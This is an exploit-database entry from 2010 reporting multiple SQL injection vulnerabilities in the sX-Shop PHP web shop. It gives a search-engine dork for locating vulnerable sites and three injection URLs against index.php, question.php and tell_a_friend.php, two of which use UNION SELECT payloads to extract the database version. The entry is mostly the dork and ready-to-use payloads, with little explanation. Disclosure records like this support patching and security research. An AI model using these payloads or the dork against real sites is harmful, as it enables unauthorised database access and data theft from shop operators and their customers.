sX-Shop - Multiple SQL Injections

Author: CoBRa_21
type: webapps
platform: php
port: 
date_added: 2010-08-05 
date_updated: 2010-08-05 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

########################################################################################

sX-Shop SQL Injection Vulnerabilities

########################################################################################

Author : CoBRa_21
Author Web Page :http://ipbul.org
Dork : "powered by sX-Shop"
Script Page : http://www.source-worx.de/

########################################################################################

Sql Injection :

http://localhost/[path]/index.php?product=_513' (Sql)
http://localhost/[path]/question.php?id=-513 union select version()  (Sql)
http://localhost/[path]/tell_a_friend.php?id=-500 union select version()  (Sql)

########################################################################################
Thanks cyber-warrior.org  &  e-banka.org & AKINCILAR
########################################################################################